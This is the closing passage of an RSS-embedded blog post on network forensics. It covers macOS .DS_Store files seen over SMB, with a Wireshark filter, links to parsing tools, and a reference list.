&lt;li&gt;selected items in the folder&lt;/li&gt;
&lt;li&gt;trash put backs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Especially the first case is interesting if you find a &lt;code&gt;.DS_STORE&lt;/code&gt; on a website. I recommend a &lt;a href="https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1564079868.pdf%20by%20Nicole%20Ibrahim"&gt;SANS talk by Nicole Ibrahim&lt;/a&gt; and a &lt;a href="https://0day.work/parsing-the-ds_store-file-format/"&gt;dissection guide by gehaxelt&lt;/a&gt; for more information on the topic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;smb.file contains ".DS_STORE" or smb2.filename contains ".DS_STORE"&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Tool:&lt;/strong&gt; &lt;a href="https://github.com/gehaxelt/ds_store"&gt;&lt;code&gt;ds_store.go&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://grimhacker.com/2019/05/06/parsing-ds_store-files/"&gt;&lt;code&gt;ds_store_parser.py&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;That's it for today. Do you know of any other forensic metadata sources in SMB protocol? Let me know.&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://hatsoffsecurity.com/tag/smb/"&gt;Hats Off Security: SMB tag archive&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://chrissanders.org/2011/11/packet-carving-with-smb-and-smb2/"&gt;Chris Sanders: Packet Carving with SMB and SMB2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://support.microsoft.com"&gt;MS doc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wiki.wireshark.org/SMB2"&gt;SMB2 Wireshark Wiki&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Windows_thumbnail_cache"&gt;Wikipedia: Windows thumbnail cache&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://resources.infosecinstitute.com/windows-registry-analysis-regripper-hands-case-study-2/"&gt;Windows Registry analysis with RegRipper - A 'Hands-on' Case Study&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1564079868.pdf"&gt;Nicole Ibrahim: .DS_Stores: Like Shellbags but for Macs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://0day.work/parsing-the-ds_store-file-format/"&gt;Gehaxelt: Parsing the .DS_Store file format&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>network</category>
      <category>dfir</category>
      <category>smb</category>
    </item>
  </channel>
</rss>
